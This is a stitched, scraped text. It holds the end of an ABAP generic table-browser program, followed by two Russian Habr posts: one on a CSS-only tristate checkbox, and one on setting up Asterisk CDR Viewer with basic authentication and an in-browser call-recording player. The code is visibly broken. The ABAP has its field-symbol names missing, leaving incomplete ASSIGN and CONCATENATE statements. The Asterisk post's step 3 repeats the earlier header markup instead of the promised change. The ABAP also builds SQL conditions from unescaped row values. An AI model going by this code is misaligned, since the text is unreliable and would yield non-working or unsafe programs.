\*\* lv\_fkrowpos TYPE zalx\_clnt\_genfld-fkrowpos,
\*\* lv\_structname TYPE zalx\_clnt\_genrel-structname,
\*\* lv\_tablename TYPE dd02l-tabname,
\*\* lv\_condition TYPE string,
\*\* ls\_nav\_point TYPE z\_nav\_point.
\*\* READ TABLE nav\_stack INTO ls\_nav\_point INDEX nav\_position.
\*\* ls\_nav\_point-row\_id = row\_id.
\*\* ls\_nav\_point-key\_field = fieldname.
\*\* MODIFY nav\_stack INDEX nav\_position FROM ls\_nav\_point.
\*\*
\*\* IF sy-subrc = 0.
\*\* SELECT SINGLE rowtype FROM zalx\_clnt\_genrel INTO lv\_rowtype WHERE structname = ls\_nav\_point-tab\_name.
\*\* IF sy-subrc = 0.
\*\* SELECT SINGLE fkrowtype fkrowpos FROM zalx\_clnt\_genfld INTO (lv\_fkrowtype, lv\_fkrowpos) WHERE rowtype = lv\_rowtype AND fieldname = fieldname.
\*\* IF sy-subrc = 0.
\*\* SELECT SINGLE structname FROM zalx\_clnt\_genrel INTO lv\_structname WHERE rowtype = lv\_fkrowtype.
\*\* IF sy-subrc = 0.
\*\*
\*\* table\_name = lv\_structname.
\*\* SELECT SINGLE fieldname FROM zalx\_clnt\_genfld INTO lv\_condition WHERE rowtype = lv\_fkrowtype AND rowpos = lv\_fkrowpos.
\*\* IF sy-subrc = 0.
\*\* WRITE lv\_structname.
\*\* FIELD-SYMBOLS: TYPE ANY,
\*\* TYPE ANY,
\*\* TYPE STANDARD TABLE.
\*\*
\*\* ASSIGN ls\_nav\_point-tab\_table->\* TO .
\*\* READ TABLE ASSIGNING INDEX row\_id-row\_id.
\*\* ASSIGN COMPONENT fieldname OF STRUCTURE TO .
\*\* CONCATENATE lv\_condition ' = ''' '''' INTO lv\_condition.
\*\*
\*\* CLEAR ls\_nav\_point.
\*\*
\*\* lv\_tablename = lv\_structname.
\*\* doselect( EXPORTING tablename = lv\_tablename condition = lv\_condition
\*\* IMPORTING data\_table = ls\_nav\_point-tab\_table ).
\*\*
\*\* data\_table = ls\_nav\_point-tab\_table.
\*\* ls\_nav\_point-tab\_name = lv\_structname.
\*\*
\*\* APPEND ls\_nav\_point TO nav\_stack.
\*\* ADD 1 TO nav\_position.
\*\*
\*\* ENDIF.
\*\*
\*\* ENDIF.
\*\*
\*\* ENDIF.
\*\* ENDIF.
\*\* ENDIF.
\*\*
\*\* ENDMETHOD. "forward
\*&---------------------------------------------------------------------\*
\*& Include Z\_GREAT\_ALV\_CL
\*&---------------------------------------------------------------------\*
\*&---------------------------------------------------------------------\*
\*& Include Z\_GREAT\_ALV\_CL\_NAVSTACK
\*&---------------------------------------------------------------------\*
CLASS z\_cl\_great\_alv\_navstack DEFINITION.
PUBLIC SECTION.
TYPES:
BEGIN OF z\_nav\_point,
tab\_name TYPE dd02l-tabname,
key\_field TYPE lvc\_s\_col,
row\_id TYPE lvc\_s\_roid,
tab\_table TYPE REF TO data,
dependent TYPE rs\_bool,
END OF z\_nav\_point.
CLASS-METHODS:
init
IMPORTING
tablename TYPE dd02l-tabname
reccount TYPE i
condition TYPE string
RETURNING
value(ok) TYPE rs\_bool,
follow\_fk
IMPORTING
fieldname TYPE lvc\_s\_col
row\_id TYPE lvc\_s\_roid
RETURNING
value(ok) TYPE rs\_bool,
choose\_dependent
IMPORTING
fieldname TYPE lvc\_s\_col
row\_id TYPE lvc\_s\_roid
table\_name TYPE dd02l-tabname OPTIONAL
RETURNING
value(ok) TYPE rs\_bool,
follow\_pk
IMPORTING
deprec TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec
row\_id TYPE lvc\_s\_roid
RETURNING
value(ok) TYPE rs\_bool,
follow\_text
IMPORTING
row\_id TYPE lvc\_s\_roid
RETURNING
value(ok) TYPE rs\_bool,
back,
current\_nav\_point RETURNING
value(point) TYPE z\_nav\_point,
follow\_zalx
IMPORTING
fieldname TYPE lvc\_s\_col
row\_id TYPE lvc\_s\_roid
RETURNING
value(ok) TYPE rs\_bool,
get\_condition\_string IMPORTING
row\_id TYPE i
deprec TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec
data\_table TYPE REF TO data OPTIONAL
dependent TYPE rs\_bool OPTIONAL
RETURNING value(condition) TYPE string.
PRIVATE SECTION.
CLASS-DATA:
nav\_stack TYPE TABLE OF z\_nav\_point,
nav\_position TYPE i,
rec\_count TYPE i.
CLASS-METHODS:
doselect
IMPORTING
tablename TYPE dd02l-tabname
condition TYPE string OPTIONAL
EXPORTING
data\_table TYPE REF TO data.
ENDCLASS. "Z\_CL\_GREAT\_ALV\_NAVSTACK DEFINITION
\*----------------------------------------------------------------------\*
\* CLASS Z\_CL\_GREAT\_ALV\_NAVSTACK IMPLEMENTATION
\*----------------------------------------------------------------------\*
\*
\*----------------------------------------------------------------------\*
CLASS z\_cl\_great\_alv\_navstack IMPLEMENTATION.
METHOD init.
REFRESH: nav\_stack.
DATA: ls\_nav\_point TYPE z\_nav\_point.
rec\_count = reccount.
doselect( EXPORTING tablename = tablename condition = condition
IMPORTING data\_table = ls\_nav\_point-tab\_table ).
IF ls\_nav\_point-tab\_table IS BOUND.
ls\_nav\_point-tab\_name = tablename.
APPEND ls\_nav\_point TO nav\_stack.
nav\_position = 1.
ok = 'X'.
ENDIF.
ENDMETHOD. "init
METHOD doselect.
CREATE DATA data\_table TYPE TABLE OF (tablename).
FIELD-SYMBOLS: TYPE STANDARD TABLE.
ASSIGN data\_table->\* TO .
IF condition IS SUPPLIED.
SELECT \* UP TO rec\_count ROWS FROM (tablename) INTO TABLE WHERE (condition).
ELSE.
SELECT \* UP TO rec\_count ROWS FROM (tablename) INTO TABLE .
ENDIF.
ENDMETHOD. "doselect
METHOD follow\_fk.
DATA: ls\_dep TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec,
ls\_nav\_point TYPE z\_nav\_point,
lv\_colname TYPE lvc\_s\_col,
lv\_condition TYPE string.
ls\_nav\_point = current\_nav\_point( ).
ls\_nav\_point-row\_id = row\_id.
ls\_nav\_point-key\_field = fieldname.
MODIFY nav\_stack INDEX nav\_position FROM ls\_nav\_point.
IF ls\_nav\_point-dependent IS INITIAL.
z\_cl\_great\_alv\_dictservices=>get\_fk\_list( EXPORTING
tabname = ls\_nav\_point-tab\_name
fieldname = fieldname-fieldname
IMPORTING
dependent\_rec = ls\_dep ).
IF ls\_dep-fieldlist IS NOT BOUND.
z\_cl\_great\_alv\_dictservices=>get\_check\_fk\_list( EXPORTING
tabname = ls\_nav\_point-tab\_name
fieldname = fieldname-fieldname
IMPORTING
dependent\_rec = ls\_dep ).
ENDIF.
IF ls\_dep-fieldlist IS BOUND.
lv\_condition = get\_condition\_string(
row\_id = row\_id-row\_id
deprec = ls\_dep ).
CLEAR ls\_nav\_point.
doselect( EXPORTING tablename = ls\_dep-pk\_tabname condition = lv\_condition
IMPORTING data\_table = ls\_nav\_point-tab\_table ).
IF ls\_nav\_point-tab\_table IS BOUND.
ls\_nav\_point-tab\_name = ls\_dep-pk\_tabname.
APPEND ls\_nav\_point TO nav\_stack.
ADD 1 TO nav\_position.
ok = 'X'.
ENDIF.
ENDIF.
ELSE.
FIELD-SYMBOLS: TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec\_list.
ASSIGN ls\_nav\_point-tab\_table->\* TO .
IF IS ASSIGNED.
READ TABLE INTO ls\_dep INDEX row\_id-row\_id.
IF sy-subrc = 0.
back( ).
ls\_nav\_point = current\_nav\_point( ).
lv\_colname-fieldname = ls\_dep-fieldname.
ok = follow\_pk( deprec = ls\_dep
row\_id = ls\_nav\_point-row\_id
).
ENDIF.
ENDIF.
ENDIF.
ENDMETHOD. "follow\_fk
METHOD choose\_dependent.
DATA: ls\_nav\_point TYPE z\_nav\_point,
lv\_dep\_list TYPE REF TO data.
FIELD-SYMBOLS TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec\_list.
ls\_nav\_point = current\_nav\_point( ).
ls\_nav\_point-row\_id = row\_id.
ls\_nav\_point-key\_field = fieldname.
MODIFY nav\_stack INDEX nav\_position FROM ls\_nav\_point.
CREATE DATA lv\_dep\_list TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec\_list.
ASSIGN lv\_dep\_list->\* TO .
z\_cl\_great\_alv\_dictservices=>get\_dependent\_list(
EXPORTING
tabname = ls\_nav\_point-tab\_name
IMPORTING
tablist = ).
IF lv\_dep\_list IS NOT INITIAL.
SORT BY fk\_tabname ASCENDING.
CLEAR ls\_nav\_point.
ls\_nav\_point-tab\_table = lv\_dep\_list.
ls\_nav\_point-dependent = 'X'.
APPEND ls\_nav\_point TO nav\_stack.
ADD 1 TO nav\_position.
ok = 'X'.
ENDIF.
ENDMETHOD. "choose\_dependent
METHOD follow\_pk.
DATA: lv\_condition TYPE string,
ls\_nav\_point TYPE z\_nav\_point.
ls\_nav\_point = current\_nav\_point( ).
ls\_nav\_point-row\_id = row\_id.
MODIFY nav\_stack INDEX nav\_position FROM ls\_nav\_point.
lv\_condition = get\_condition\_string(
row\_id = row\_id-row\_id
deprec = deprec
dependent = 'X' ).
CLEAR ls\_nav\_point.
doselect( EXPORTING tablename = deprec-fk\_tabname
condition = lv\_condition
IMPORTING data\_table = ls\_nav\_point-tab\_table ).
IF ls\_nav\_point-tab\_table IS BOUND.
ls\_nav\_point-tab\_name = deprec-fk\_tabname.
APPEND ls\_nav\_point TO nav\_stack.
ADD 1 TO nav\_position.
ok = 'X'.
ENDIF.
ENDMETHOD. "follow\_pk
METHOD follow\_text.
DATA: ls\_nav\_point TYPE z\_nav\_point,
lv\_colname TYPE lvc\_s\_col,
lt\_dep\_list TYPE z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec\_list,
ls\_dep\_list TYPE LINE OF z\_cl\_great\_alv\_dictservices=>z\_dependent\_rec\_list.
ls\_nav\_point = current\_nav\_point( ).
z\_cl\_great\_alv\_dictservices=>get\_dependent\_list(
EXPORTING
tabname = ls\_nav\_point-tab\_name
IMPORTING
tablist = lt\_dep\_list ).
LOOP AT lt\_dep\_list INTO ls\_dep\_list WHERE frkart = 'TEXT'.
lv\_colname-fieldname = ls\_dep\_list-fieldname.
ok = follow\_pk( deprec = ls\_dep\_list
row\_id = row\_id
).
EXIT. "only one text table, if any
ENDLOOP.
ENDMETHOD. "follow\_text
METHOD back.
IF nav\_position > 1.
DELETE nav\_stack INDEX nav\_position.
SUBTRACT 1 FROM nav\_position.
ENDIF.
ENDMETHOD. "back
METHOD current\_nav\_point.
READ TABLE nav\_stack INTO point INDEX nav\_position.
ENDMETHOD. "current\_table\_name
METHOD get\_condition\_string.
FIELD-SYMBOLS: TYPE ANY,
TYPE ANY,
TYPE STANDARD TABLE,
TYPE z\_cl\_great\_alv\_dictservices=>z\_fk\_pair\_list.
DATA: ls\_navpoint TYPE z\_nav\_point,
ls\_fkpair TYPE z\_cl\_great\_alv\_dictservices=>z\_fk\_pair,
lv\_condition TYPE string,
lt\_condition TYPE TABLE OF string.
ls\_navpoint = current\_nav\_point( ).
ASSIGN ls\_navpoint-tab\_table->\* TO .
READ TABLE ASSIGNING INDEX row\_id.
ASSIGN deprec-fieldlist->\* TO .
LOOP AT INTO ls\_fkpair.
IF dependent IS INITIAL.
ASSIGN COMPONENT ls\_fkpair-fk\_name OF STRUCTURE TO .
CONCATENATE ls\_fkpair-pk\_name ' = ''' '''' INTO lv\_condition.
ELSE.
ASSIGN COMPONENT ls\_fkpair-pk\_name OF STRUCTURE TO .
CONCATENATE ls\_fkpair-fk\_name ' = ''' '''' INTO lv\_condition.
ENDIF.
APPEND lv\_condition TO lt\_condition.
ENDLOOP.
CONCATENATE LINES OF lt\_condition INTO condition SEPARATED BY ' AND '.
ENDMETHOD. "get\_condition\_string
METHOD follow\_zalx.
DATA:
lv\_rowtype TYPE zalx\_clnt\_genfld-rowtype,
lv\_fkrowtype TYPE zalx\_clnt\_genfld-fkrowtype,
lv\_fkrowpos TYPE zalx\_clnt\_genfld-fkrowpos,
lv\_structname TYPE zalx\_clnt\_genrel-structname,
lv\_tablename TYPE dd02l-tabname,
lv\_condition TYPE string,
ls\_nav\_point TYPE z\_nav\_point.
READ TABLE nav\_stack INTO ls\_nav\_point INDEX nav\_position.
ls\_nav\_point-row\_id = row\_id.
ls\_nav\_point-key\_field = fieldname.
MODIFY nav\_stack INDEX nav\_position FROM ls\_nav\_point.
IF sy-subrc = 0.
SELECT SINGLE rowtype FROM zalx\_clnt\_genrel INTO lv\_rowtype WHERE structname = ls\_nav\_point-tab\_name.
IF sy-subrc = 0.
SELECT SINGLE fkrowtype fkrowpos FROM zalx\_clnt\_genfld INTO (lv\_fkrowtype, lv\_fkrowpos) WHERE rowtype = lv\_rowtype AND fieldname = fieldname.
IF sy-subrc = 0.
SELECT SINGLE structname FROM zalx\_clnt\_genrel INTO lv\_structname WHERE rowtype = lv\_fkrowtype.
IF sy-subrc = 0.
"table\_name = lv\_structname.
SELECT SINGLE fieldname FROM zalx\_clnt\_genfld INTO lv\_condition WHERE rowtype = lv\_fkrowtype AND rowpos = lv\_fkrowpos.
IF sy-subrc = 0.
WRITE lv\_structname.
FIELD-SYMBOLS: TYPE ANY,
TYPE ANY,
TYPE STANDARD TABLE.
ASSIGN ls\_nav\_point-tab\_table->\* TO .
READ TABLE ASSIGNING INDEX row\_id-row\_id.
ASSIGN COMPONENT fieldname OF STRUCTURE TO .
CONCATENATE lv\_condition ' = ''' '''' INTO lv\_condition.
CLEAR ls\_nav\_point.
lv\_tablename = lv\_structname.
doselect( EXPORTING tablename = lv\_tablename condition = lv\_condition
IMPORTING data\_table = ls\_nav\_point-tab\_table ).
IF ls\_nav\_point-tab\_table IS BOUND.
ls\_nav\_point-tab\_name = lv\_structname.
APPEND ls\_nav\_point TO nav\_stack.
ADD 1 TO nav\_position.
ok = 'X'.
ENDIF.
ENDIF.
ENDIF.
ENDIF.
ENDIF.
ENDIF.
ENDMETHOD. "forward
ENDCLASS. "Z\_CL\_GREAT\_ALV\_NAVSTACK IMPLEMENTATION
\*----------------------------------------------------------------------\*
\* CLASS z\_great\_alv\_handler DEFINITION
\*----------------------------------------------------------------------\*
\*
\*----------------------------------------------------------------------\*
CLASS z\_great\_alv\_handler DEFINITION.
PUBLIC SECTION.
CLASS-DATA:
zf\_texting TYPE stb\_button-function VALUE 'TEXTING',
zf\_zalx TYPE stb\_button-function VALUE 'ZALX',
zf\_depend TYPE stb\_button-function VALUE 'DEPEND',
zf\_follow TYPE stb\_button-function VALUE 'FOLLOW'.
METHODS:
double\_click FOR EVENT double\_click OF cl\_gui\_alv\_grid
IMPORTING e\_row e\_column es\_row\_no,
toolbar\_modify FOR EVENT toolbar OF cl\_gui\_alv\_grid
IMPORTING e\_object e\_interactive,
user\_command FOR EVENT user\_command OF cl\_gui\_alv\_grid
IMPORTING e\_ucomm,
data\_changed FOR EVENT data\_changed OF cl\_gui\_alv\_grid
IMPORTING er\_data\_changed e\_onf4 e\_onf4\_before e\_onf4\_after e\_ucomm.
ENDCLASS. "Z\_GREAT\_ALV\_HANDLER DEFINITION
\*----------------------------------------------------------------------\*
\* CLASS Z\_GREAT\_ALV\_HANDLER IMPLEMENTATION
\*----------------------------------------------------------------------\*
\*
\*----------------------------------------------------------------------\*
CLASS z\_great\_alv\_handler IMPLEMENTATION.
METHOD double\_click.
DATA: lv\_ok TYPE rs\_bool.
lv\_ok = z\_cl\_great\_alv\_navstack=>follow\_fk(
fieldname = e\_column
row\_id = es\_row\_no ).
IF lv\_ok = 'X'.
CALL SCREEN 100.
ENDIF.
ENDMETHOD. "DOUBLE\_CLICK
METHOD toolbar\_modify.
DATA: lv\_tbutton TYPE stb\_button.
LOOP AT e\_object->mt\_toolbar INTO lv\_tbutton WHERE function = zf\_texting.
ENDLOOP.
IF sy-subrc <> 0.
CLEAR lv\_tbutton.
MOVE 0 TO lv\_tbutton-butn\_type.
MOVE zf\_follow TO lv\_tbutton-function.
MOVE 'Follow foreign key/check table' TO lv\_tbutton-text.
MOVE 'Follow foreign key/check table' TO lv\_tbutton-quickinfo.
MOVE space TO lv\_tbutton-disabled.
APPEND lv\_tbutton TO e\_object->mt\_toolbar.
CLEAR lv\_tbutton.
MOVE 0 TO lv\_tbutton-butn\_type.
MOVE zf\_texting TO lv\_tbutton-function.
MOVE 'Text table record' TO lv\_tbutton-text.
MOVE 'Text table record' TO lv\_tbutton-quickinfo.
MOVE space TO lv\_tbutton-disabled.
APPEND lv\_tbutton TO e\_object->mt\_toolbar.
CLEAR lv\_tbutton.
MOVE 0 TO lv\_tbutton-butn\_type.
MOVE zf\_depend TO lv\_tbutton-function.
MOVE 'Dependent tables' TO lv\_tbutton-text.
MOVE 'Dependent tables' TO lv\_tbutton-quickinfo.
MOVE space TO lv\_tbutton-disabled.
APPEND lv\_tbutton TO e\_object->mt\_toolbar.
CLEAR lv\_tbutton.
MOVE 0 TO lv\_tbutton-butn\_type.
MOVE zf\_zalx TO lv\_tbutton-function.
MOVE 'ZALX' TO lv\_tbutton-text.
MOVE 'ZALX' TO lv\_tbutton-quickinfo.
MOVE space TO lv\_tbutton-disabled.
APPEND lv\_tbutton TO e\_object->mt\_toolbar.
ENDIF.
ENDMETHOD. "toolbar\_modify
METHOD user\_command.
DATA: lv\_table TYPE REF TO data,
lv\_column TYPE lvc\_s\_col,
lv\_rowno TYPE lvc\_s\_roid,
lv\_ok TYPE rs\_bool.
gv\_grid->get\_current\_cell( IMPORTING es\_col\_id = lv\_column
es\_row\_no = lv\_rowno ).
CASE e\_ucomm.
WHEN zf\_texting.
lv\_ok = z\_cl\_great\_alv\_navstack=>follow\_text(
row\_id = lv\_rowno ).
WHEN zf\_zalx.
lv\_ok = z\_cl\_great\_alv\_navstack=>follow\_zalx(
fieldname = lv\_column
row\_id = lv\_rowno ).
WHEN zf\_depend.
lv\_ok = z\_cl\_great\_alv\_navstack=>choose\_dependent(
fieldname = lv\_column
row\_id = lv\_rowno ).
WHEN zf\_follow.
lv\_ok = z\_cl\_great\_alv\_navstack=>follow\_fk(
fieldname = lv\_column
row\_id = lv\_rowno ).
WHEN OTHERS.
EXIT.
ENDCASE.
IF lv\_ok = 'X'.
CALL SCREEN 100.
ENDIF.
ENDMETHOD. "user\_command
METHOD data\_changed.
DATA: ls\_nav\_point TYPE z\_cl\_great\_alv\_navstack=>z\_nav\_point,
ls\_deleted\_row TYPE lvc\_s\_moce.
FIELD-SYMBOLS: TYPE STANDARD TABLE,
TYPE ANY.
"modify
ls\_nav\_point = z\_cl\_great\_alv\_navstack=>current\_nav\_point( ).
ASSIGN er\_data\_changed->mp\_mod\_rows->\* TO .
MODIFY (ls\_nav\_point-tab\_name) FROM TABLE .
"delete
ASSIGN ls\_nav\_point-tab\_table->\* TO .
LOOP AT er\_data\_changed->mt\_deleted\_rows INTO ls\_deleted\_row.
READ TABLE ASSIGNING INDEX ls\_deleted\_row-row\_id.
IF sy-subrc = 0.
DELETE (ls\_nav\_point-tab\_name) FROM .
ENDIF.
ENDLOOP.
ENDMETHOD. "data\_changed
ENDCLASS. "Z\_GREAT\_ALV\_HANDLER IMPLEMENTATION
\*----------------------------------------------------------------------\*
\* MODULE PAI\_01 INPUT
\*----------------------------------------------------------------------\*
\*
\*----------------------------------------------------------------------\*
MODULE pai\_01 INPUT.
CASE gv\_ok.
WHEN 'BACK'.
z\_cl\_great\_alv\_navstack=>back( ).
PERFORM great\_alv.
WHEN '%EX'.
LEAVE PROGRAM.
ENDCASE.
ENDMODULE. " PAI\_01 INPUT
\*----------------------------------------------------------------------\*
\* MODULE PBO\_01 OUTPUT
\*----------------------------------------------------------------------\*
\*
\*----------------------------------------------------------------------\*
MODULE pbo\_01 OUTPUT.
CLEAR gv\_ok.
SET PF-STATUS ''.
PERFORM great\_alv.
ENDMODULE. " PBO\_01 OUTPUT
\*&---------------------------------------------------------------------\*
\*& Form set\_great\_handler
\*&---------------------------------------------------------------------\*
\* text
\*----------------------------------------------------------------------\*
FORM set\_great\_handler.
DATA lv\_handler TYPE REF TO z\_great\_alv\_handler.
CREATE OBJECT lv\_handler.
IF gv\_grid IS BOUND AND lv\_handler IS BOUND.
SET HANDLER lv\_handler->double\_click FOR gv\_grid.
SET HANDLER lv\_handler->toolbar\_modify FOR gv\_grid.
SET HANDLER lv\_handler->user\_command FOR gv\_grid.
SET HANDLER lv\_handler->data\_changed FOR gv\_grid.
"grid->set\_toolbar\_interactive( ).
ENDIF.
ENDFORM. "set\_great\_handlers
\*&---------------------------------------------------------------------\*
\*& Form great\_alv
\*&---------------------------------------------------------------------\*
\* text
\*----------------------------------------------------------------------\*
FORM great\_alv.
DATA: lv\_nav\_point TYPE z\_cl\_great\_alv\_navstack=>z\_nav\_point.
lv\_nav\_point = z\_cl\_great\_alv\_navstack=>current\_nav\_point( ).
PERFORM create\_alv USING gv\_container\_name CHANGING gv\_container gv\_grid.
.
PERFORM prepare\_field\_catalog USING lv\_nav\_point-tab\_name lv\_nav\_point-dependent CHANGING gt\_fieldcat.
FIELD-SYMBOLS: TYPE ANY TABLE.
ASSIGN lv\_nav\_point-tab\_table->\* TO .
PERFORM display\_alv USING gv\_grid .
gv\_grid->set\_current\_cell\_via\_id( EXPORTING "is\_row\_no = lv\_nav\_point-row\_id
is\_column\_id = lv\_nav\_point-key\_field
is\_row\_no = lv\_nav\_point-row\_id ).
ENDFORM. "great\_alv
PARAMETERS: tabname LIKE dd02l-tabname DEFAULT 'but050',
rccount TYPE i DEFAULT 100,
condit TYPE string DEFAULT ''.
START-OF-SELECTION.
DATA: lv\_ok TYPE rs\_bool.
lv\_ok = z\_cl\_great\_alv\_navstack=>init(
tablename = tabname
reccount = rccount
condition = condit
).
IF lv\_ok = 'X'.
CALL SCREEN 100.
ENDIF.
```
|
https://habr.com/ru/post/197592/
| null |
ru
| null |
# Трёхпозиционный checkbox (aka tristate) без скриптов и смс
Понадобилось мне недавно реализовать трёхпозиционный переключатель. Ну это такой, у которого вместо двух состояний «включено/выключено», есть ещё промежуточное состояние. Это часто используется, например, в чекбоксе «выбрать всё», для того чтобы показать, что выбраны не все элементы, а только часть. В общем, захотелось такое реализовать, да чтобы без скриптов.
Пример элемента на gmail:
Беглое гугление не выдало мне готового решения без JavaScript. Точнее, я нашёл парочку, но они предлагали для изменения состояния кликать в конкретное место на переключателе, что совсем неудобно. Хотя в основном предлагают использовать либо свойство DOM `indeterminate` у чекбокса, либо написание компонента на скриптах, начиная с jQuery, заканчивая Angular. Но мне как-то не хотелось ради такой простой задачи подключать JS вообще.
Ещё из пожеланий — мне хотелось иметь рабочий кликабельный `label`, а так как состояния три, то чтобы этот `label` показывал текущее состояние.
Как я это реализовал? В основе — обычные радио-инпуты спозиционированые абсолютно в верхний левый угол. А вся магия заключается в изменении `z-index` в зависимости от текущего выбранного элемента. Кусочек из CSS:
```
.tristate > input[type="radio"]:checked + input[type="radio"] {
z-index: 10;
}
```
Иконка и текущий лейбл стилизуется подобными правилами:
```
.tristate > input[type="radio"]:checked + i + label,
.tristate > input[type="radio"]:checked + i + label + label {
display: none;
}
.tristate-checkbox > input[type="radio"]:checked + input[type="radio"] + i {
/* ... */
}
```
Осталось всё немного застилизовать, и получаем два симпатичных UI-компонента, как на картинке к посту:
[Демо на CodePen](http://codepen.io/PaulZi/pen/zBbVvV?editors=1100)
Работоспособность проверял в FF, Chrome, IE9+.
UPDATE: Добавил вариант с «крутилкой»:
|
https://habr.com/ru/post/308034/
| null |
ru
| null |
# «Допиливаем» Asterisk CDR Viewer под себя
«Я профессионал, потому что не ленюсь искать информацию в google» — сказал мне однажды коллега.
А я поленился и начал «допиливать» CDR Viewer под себя, даже не посмотрев хотя бы вот [это](http://habrahabr.ru/post/212815/).
А может и не в лени дело, просто было интересно… в общем, что из этого вышло можно посмотреть под катом:)
Споры о том, что лучше использовать в качестве офисной АТС — asterisk (с веб-интерфейсом или без, хотя это отдельная тема для споров) или какую-то коробку типа Panasonic, которых на рынок выкинуто немеренное количество — не утихают до сих пор, но топик не об этом, лично для себя я уже давно определился. Хотелось бы поделиться с сообществом своим вариантом придания интерфейсу просмотра статистики дополнительного фунционала.
В качестве «подопытного» я использовал FreePBX Distro (FreePBX 2.11, Asterisk 11, CentOS 6.5), скачанный с [официального сайта](http://downloads.freepbxdistro.org/ISO/FreePBX-STABLE64.iso) проекта. Выбор был продиктован тем, что разработчики FreePBX уже позаботились о прикручивании БД к Asterisk и структура хранения записей в общем-то меня устраивает. Хотя процедура «прикручивания» MySQL или какой-либо другой базы к Asterisk была описана ни раз и ни два, о чем можно почитать например [здесь](http://linux.mixed-spb.ru/asterisk/cdr-db-mysql-cdr_mysql.php), все же в целях экономии времени я решил этого не делать.
За основу был взят Asterisk CDR Viewer (если не нужно каких-то сверхмудреных отчетов — то вполне себе пригодная и простенькая статистика), скачать можно [тут](https://code.google.com/p/asterisk-cdr-viewer/).
Установка CDR Viewer не представляется какой-то нетривиальной задачей.
Переходим в нужную нам директорию, качаем архив, извлекаем файлы из архива:
```
cd /var/www
wget https://asterisk-cdr-viewer.googlecode.com/files/asterisk-cdr-viewer-1.0.2.tgz
tar -xzvf asterisk-cdr-viewer-1.0.2.tgz
```
Переносим файлик алиаса в папку с apache2:
```
cp /var/www/html/asterisk-cdr-viewer/contrib/httpd/asterisk-cdr-viewer.conf /etc/apache2/conf.d/asterisk-cdr-viewer.conf
```
Изменяем настройки подключения к БД для Asterisk-CDR-viewer
```
cd /var/www/asterisk-cdr-viewer/include/
vim config.inc.php
```
Нужно поменять параметры в соответствии с текущей конфигурацией вашей базы:
$db\_user = '[MySQL пользователь]';
$db\_pass = '[MySQL пароль]';
$db\_name = '[Имя базы]';
Делаем рестарт веб-сервера:
```
service apache2 restart
```
Теперь в браузере набирая [адрес asteridk-сервера]/acdr/ попадаем на страницу статистики.
Первое, что мне захотелось сделать — прикрутить авторизацию для просмотра этой самой статистики, для этого воспользуемся htpasswd.
Если не установлена —
```
aptitude install apache2-utils
```
Переходим в /etc/apache2 и созадем юзер/пароль для статистики:
```
htpasswd -c passwordfile username
```
Вводим пароль в диалоге, который предлагает htpasswd и получаем файл «passwordfile» с юзером «username» и сгенерированным зашифрованным паролем.
Далее в /etc/apache2/conf.d изменяем asterisk-cdr-viewer.conf, раскомментрировав строки авторизации, в результате получаем:
Alias /acdr/ "/var/www/asterisk-cdr-viewer/"
<------>AuthName «Asterisk-CDR-Stat»
<------>AuthType Basic
<------>AuthUserFile /etc/apache2/passwordfile
<------>AuthGroupFile /dev/null
<------>require valid-user
Рестартуем apache2 и при входе на страницу видим окно авторизации:
Следующее, что был сделано — это прослушивание разговоров из веб-интерфейса.
1) Для прослушивания звонков добавляем две иконки в каталог /var/www/asterisk-cdr-viewer/templates/images ([play](http://habrastorage.org/files/727/e84/4aa/727e844aa3df488e88d01e183d01c99c.png) и [stop](http://habrastorage.org/files/972/be8/5ed/972be85ed8434a24b8dc3ec80511c64c.png))
2) Добавляем в /var/www/asterisk-cdr-viewer/templates/header.tpl.php объявление js-функции для оптимизации производительности;
**В результате получаем:**
```
Asterisk Call Detail Records
function audioPreview(e,cnc) {
var uri = e.attributes.getNamedItem('data-uri').value;
var audioElement;
// 1 if not exists audio control, then create it:
if (!(audioElement = document.getElementById('au\_preview'))) {
audioElement = document.createElement('audio');
audioElement.id = 'au\_preview';
audioElement.controls = true;
audioElement.style.display = 'none';
document.body.appendChild(audioElement);
}
else {
// 2 need to stop and hide if playing:
var prevIcon = audioElement.parentNode.previousSibling;
prevIcon.src = 'templates/images/play.png';
prevIcon.onclick = function(){ return audioPreview(prevIcon,false);};
}
if (('undefined'===typeof cnc)||(!cnc)) {
//1. to show
e.nextSibling.appendChild(audioElement);
audioElement.src = uri;
audioElement.style.display = 'block';
audioElement.play();
e.onclick = function(){ return audioPreview(e,true); };
e.src = 'templates/images/stop.png';
}
else {
//2. to hide
audioElement.pause();
audioElement.style.display = 'none';
e.onclick = function(){ return audioPreview(e,false); };
e.src = 'templates/images/play.png';
}
}
| | | |
| --- | --- | --- |
| [Asterisk CDR Viewer](/ "Home") | Asterisk CDR Viewer | |
| | php
if ( strlen(getenv('REMOTE\_USER')) ) {
echo "<a href='/acdr/index.php?action=logout'logout: ". getenv('REMOTE\_USER') ."";
}
?>
|
```
3) **Изменяем /var/www/asterisk-cdr-viewer/include/functions.inc.php, модифицируя конструкции echo: к иконке динамика добавляем небольшой кусочек необходимой разметки**
```
Asterisk Call Detail Records
function audioPreview(e,cnc) {
var uri = e.attributes.getNamedItem('data-uri').value;
var audioElement;
// 1 if not exists audio control, then create it:
if (!(audioElement = document.getElementById('au\_preview'))) {
audioElement = document.createElement('audio');
audioElement.id = 'au\_preview';
audioElement.controls = true;
audioElement.style.display = 'none';
document.body.appendChild(audioElement);
}
else {
// 2 need to stop and hide if playing:
var prevIcon = audioElement.parentNode.previousSibling;
prevIcon.src = 'templates/images/play.png';
prevIcon.onclick = function(){ return audioPreview(prevIcon,false);};
}
if (('undefined'===typeof cnc)||(!cnc)) {
//1. to show
e.nextSibling.appendChild(audioElement);
audioElement.src = uri;
audioElement.style.display = 'block';
audioElement.play();
e.onclick = function(){ return audioPreview(e,true); };
e.src = 'templates/images/stop.png';
}
else {
//2. to hide
audioElement.pause();
audioElement.style.display = 'none';
e.onclick = function(){ return audioPreview(e,false); };
e.src = 'templates/images/play.png';
}
}
| | | |
| --- | --- | --- |
| [Asterisk CDR Viewer](/ "Home") | Asterisk CDR Viewer | |
| | php
if ( strlen(getenv('REMOTE\_USER')) ) {
echo "<a href='/acdr/index.php?action=logout'logout: ". getenv('REMOTE\_USER') ."";
}
?>
|
root@sip:/var/www/asterisk-cdr-viewer/templates#
